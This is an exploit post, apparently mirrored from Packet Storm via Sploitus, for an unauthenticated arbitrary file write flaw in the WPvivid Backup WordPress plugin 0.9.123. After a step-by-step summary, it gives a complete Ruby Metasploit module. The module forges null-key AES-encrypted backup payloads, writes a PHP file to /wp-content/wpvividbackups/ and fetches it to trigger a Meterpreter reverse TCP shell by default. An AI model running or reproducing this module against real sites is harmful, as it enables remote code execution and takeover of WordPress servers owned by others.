Share
## https://sploitus.com/exploit?id=PACKETSTORM:217247
=============================================================================================================================================
    | # Title     : WPvivid 0.9.123 Backup Plugin Unauthenticated File Write                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore                                                            |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit module exploits an unauthenticated arbitrary file write vulnerability in the WPvivid Backup Plugin used in WordPress websites.
                     The vulnerability allows an attacker to send a specially crafted encrypted payload to the vulnerable endpoint using the parameter wpvivid_action=send_to_site. 
    				 The plugin processes the payload using AES-128-CBC encryption with a null key and IV, allowing attackers to mimic legitimate backup transfer traffic.
    
    [+] The module performs the following steps:
    
    Payload Generation
    
    Constructs a JSON object containing:
    
    file name
    
    offset
    
    base64-encoded file content
    
    file size
    
    MD5 checksum
    
    Encrypts the JSON using AES-128-CBC with a null key and IV.
    
    Wraps the encrypted blob with WPvividโ€™s expected format and encodes it in Base64.
    
    Payload Delivery
    
    Sends the crafted payload via an HTTP POST request to the target WordPress site.
    
    Uses the parameters:
    
    wpvivid_action
    
    wpvivid_content.
    
    File Upload
    
    If successful, the plugin writes the supplied file into:
    
    /wp-content/wpvividbackups/
    
    Verification
    
    The module optionally checks whether the uploaded file is accessible via HTTP.
    
    Remote Code Execution
    
    If the uploaded file is a PHP payload (for example a Meterpreter stager), it can be executed remotely.
    			  
    [+] POC   : 
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    require 'json'
    require 'openssl'
    require 'digest'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      NULL_KEY = "\x00" * 16
      NULL_IV  = "\x00" * 16
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress WPVivid Plugin Unauthenticated File Write',
            'Description' => %q{
              Exploits an unauthenticated file write vulnerability in the
              WordPress WPVivid Backup plugin.
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'Platform' => 'php',
            'Arch' => ARCH_PHP,
            'Targets' =>
            [
              [
                'PHP In-Memory Payload',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'DefaultOptions' =>
                  {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2024-01-01',
            'DefaultTarget' => 0
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base WordPress path', '/']),
            OptString.new('FILENAME', [false, 'Filename to write', '']),
            OptString.new('PAYLOAD_CONTENT', [false, 'Custom PHP payload', '<?php phpinfo(); ?>']),
            OptBool.new('VERIFY', [true, 'Verify file write', true]),
            OptInt.new('HTTP_TIMEOUT', [true, 'HTTP timeout', 3])
          ]
        )
      end
    
      def http_timeout
        datastore['HTTP_TIMEOUT']
      end
    
      def generate_wpvivid_payload(filename, content)
    
        file_md5 = Digest::MD5.hexdigest(content)
    
        json_obj =
        {
          'name' => filename,
          'offset' => 0,
          'data' => Rex::Text.encode_base64(content),
          'file_size' => content.length,
          'md5' => file_md5
        }
    
        json_str = json_obj.to_json
    
        cipher = OpenSSL::Cipher.new('AES-128-CBC')
        cipher.encrypt
        cipher.key = NULL_KEY
        cipher.iv  = NULL_IV
    
        encrypted = cipher.update(json_str) + cipher.final
    
        key_len_field   = '000'
        cipherlen_field = encrypted.length.to_s(16).rjust(16, '0').upcase
    
        blob = key_len_field + cipherlen_field + encrypted
    
        Rex::Text.encode_base64(blob)
      end
    
      def send_payload(payload)
    
        res = send_request_cgi(
          {
            'method' => 'POST',
            'uri'    => normalize_uri(target_uri.path),
            'vars_post' =>
            {
              'wpvivid_action'  => 'send_to_site',
              'wpvivid_content' => payload
            },
            'timeout' => http_timeout
          }
        )
    
        return false unless res
        return false unless res.code == 200
    
        begin
          json = res.get_json_document
          return true if json['result'] == 'success'
        rescue JSON::ParserError
        end
    
        false
      end
    
      def verify_file(filename)
    
        uri = normalize_uri(
          target_uri.path,
          'wp-content',
          'wpvividbackups',
          filename
        )
    
        res = send_request_cgi(
          {
            'method' => 'GET',
            'uri' => uri,
            'timeout' => http_timeout
          }
        )
    
        return false unless res
        return true if res.code == 200
    
        false
      end
    
      def check
    
        test_filename = "msf_#{Rex::Text.rand_text_alpha(5)}.txt"
        test_content  = Rex::Text.rand_text_alpha(10)
    
        payload = generate_wpvivid_payload(test_filename, test_content)
    
        if send_payload(payload)
    
          if verify_file(test_filename)
            register_file_for_cleanup(test_filename)
            return CheckCode::Vulnerable
          end
    
          return CheckCode::Appears
        end
    
        CheckCode::Safe
      end
    
      def exploit
    
        filename = datastore['FILENAME']
    
        if filename.blank?
          filename = "#{Rex::Text.rand_text_alpha(8)}.php"
        end
    
        content =
          if datastore['PAYLOAD'].start_with?('php/')
            payload.encoded
          else
            datastore['PAYLOAD_CONTENT']
          end
    
        print_status("Generating payload...")
    
        wpvivid_payload = generate_wpvivid_payload(filename, content)
    
        print_status("Sending payload...")
    
        unless send_payload(wpvivid_payload)
          fail_with(Failure::Unknown, 'Payload send failed')
        end
    
        print_good("Payload sent")
    
        if datastore['VERIFY']
    
          print_status("Verifying file...")
    
          if verify_file(filename)
    
            register_file_for_cleanup(filename)
    
            print_good("File uploaded successfully")
    
            uri = normalize_uri(
              target_uri.path,
              'wp-content',
              'wpvividbackups',
              filename
            )
    
            send_request_cgi(
              {
                'method' => 'GET',
                'uri' => uri,
                'timeout' => http_timeout
              }
            )
          else
            print_error("File not verified")
          end
        end
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================